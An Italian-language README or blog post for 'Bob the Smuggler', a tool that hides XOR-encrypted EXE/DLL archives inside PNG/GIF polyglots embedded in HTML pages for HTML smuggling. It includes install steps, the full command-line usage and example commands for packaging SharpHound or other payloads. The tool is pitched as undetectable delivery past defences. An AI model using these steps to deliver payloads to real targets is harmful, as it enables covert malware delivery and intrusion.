
"Bob the Smuggler": Uno strumento che sfrutta l'HTML Smuggling Attack e ti permette di creare file HTML con archivi 7z/zip incorporati. Lo strumento comprime il tuo binario (EXE/DLL) in formato 7z/zip, poi crittografa l'archivio con XOR e lo nasconde all'interno di file immagine PNG/GIF (Image Polyglots).

15 gennaio 2024 - È stato aggiunto il supporto per la compressione di file multipli. Se hai più file generati per il tuo payload finale (ad esempio, file per DLL-Sideloading o file di consegna multi-stadio), ora puoi usare l'opzione '-i' per specificare il percorso della directory. Se viene fornito il percorso di una directory, BobTheSmuggler archivia automaticamente tutti i file in quella directory, crittografa l'archivio con XOR e lo incorpora all'interno di PNG/GIF.
Visita il mio blog per una comprensione approfondita di come utilizzare questo strumento: BobTheSmuggler: Your Covert Cyber Swiss Knife for Undetectable Payload Delivery.
"Bob the Smuggler" è uno strumento che sfrutta l'HTML Smuggling Attack e ti consente di creare file HTML con archivi 7z/zip incorporati. Lo strumento comprime il tuo binario (EXE/DLL) nel formato 7z/zip, quindi crittografa l'archivio con XOR e lo nasconde all'interno di formati di file immagine PNG/GIF (Image Polyglots). Il JavaScript incorporato all'interno dell'HTML scaricherà il file PNG/GIF e lo memorizzerà nella cache. Successivamente, il JavaScript estrae i dati incorporati nel PNG/GIF, li assembla, esegue la decrittografia XOR e li memorizza come blob in memoria.

Questo strumento attualmente supporta le seguenti catene di consegna del payload:
Prima di eseguire lo strumento, sono necessari i seguenti prerequisiti:
pip install python-magic py7zr pyminizip
Nota: Per installare python-magic, è necessario installare la libreria libmagic sul proprio sistema. Segui questo URL per installare la libreria libmagic: https://pypi.org/project/python-magic/
Una volta installate le librerie richieste, puoi procedere con l'installazione dello strumento utilizzando i seguenti comandi:
git clone https://github.com/TheCyb3rAlpha/BobTheSmuggler.git
cd BobTheSmuggler
Una volta installato, puoi utilizzare lo strumento eseguendo il seguente comando:
python3 BobTheSmuggler.py -h

======================================================================
██████╗ ██████╗ ██████╗ ████████╗██╗ ██╗███████╗
██╔══██╗██╔═══██╗██╔══██╗ ╚══██╔══╝██║ ██║██╔════╝
██████╔╝██║ ██║██████╔╝ ██║ ███████║█████╗
██╔══██╗██║ ██║██╔══██╗ ██║ ██╔══██║██╔══╝
██████╔╝╚██████╔╝██████╔╝ ██║ ██║ ██║███████╗
╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝
███████╗███╗ ███╗██╗ ██╗ ██████╗ ██████╗ ██╗ ███████╗██████╗
██╔════╝████╗ ████║██║ ██║██╔════╝ ██╔════╝ ██║ ██╔════╝██╔══██╗
███████╗██╔████╔██║██║ ██║██║ ███╗██║ ███╗██║ █████╗ ██████╔╝
╚════██║██║╚██╔╝██║██║ ██║██║ ██║██║ ██║██║ ██╔══╝ ██╔══██╗
███████║██║ ╚═╝ ██║╚██████╔╝╚██████╔╝╚██████╔╝███████╗███████╗██║ ██║
╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚══════╝╚═╝ ╚═╝
======================================================================
usage: BobTheSmuggler.py [-h] -i EXE_FILE [-p PASSWORD] -f OUTPUT_HTML -o OUTPUT_FILENAME -t {html,svg,png,gif} [-c {7z,zip}] [-u PNG_URL] [-png PNG_FILE] [-gif GIF_FILE] [-e CUSTOM_FILE] [-v]
Nasconde il file EXE/DLL all'interno di un file HTML/SVG.
optional arguments:
-h, --help mostra questo messaggio di aiuto ed esce
-i EXE_FILE Percorso del file EXE/DLL.
-p PASSWORD Password per la compressione.
-f OUTPUT_HTML File HTML con smuggling (.html)
-o OUTPUT_FILENAME Nome del file scaricato (Il tuo payload è in questo file.)
-t {html,svg,png,gif} Tipo di template incorporato.
-c {7z,zip} Formato di compressione: 7z o zip (default: zip)
-u PNG_URL URL per l'immagine PNG incorporata.
-png PNG_FILE Percorso del file PNG per incorporare EXE/DLL.
-gif GIF_FILE Percorso del file GIF per incorporare EXE/DLL.
-e CUSTOM_FILE File HTML da clonare come template.
-v, --verbose Abilita log dettagliati.
Se vuoi comprimere SharpHound.exe in formato 7z (protetto da password) e memorizzarlo in un file HTML, puoi usare il seguente comando:
python3 BobTheSmuggler.py -i path/to/SharpHound.exe -p 123456 -c 7z -f SharpHound.html -o SharpHound.7z -t html

Per creare un file HTML con il payload incorporato nascosto all'interno di un file PNG, puoi usare il seguente comando:
python3 BobTheSmuggler.py -i <Percorso_file_input> -p <password_per_crittografare> -f <nome_file_HTML_output> -o <Nome file 7z/zip di output memorizzato nell'HTML> -t png test.png

NOTA: Assicurati di ospitare i file PNG/GIF su un CDN. (Consigliato: Dovresti usare l'opzione -u per fornire l'URL del CDN dove ospiterai il file PNG/GIF). Per scopi di test, puoi usare l'app flask (app.py) che ospiterà banner.gif e banner.png su localhost:8000
Allo stesso modo, puoi usare il seguente comando per creare un file HTML con il payload incorporato nascosto all'interno di un file GIF: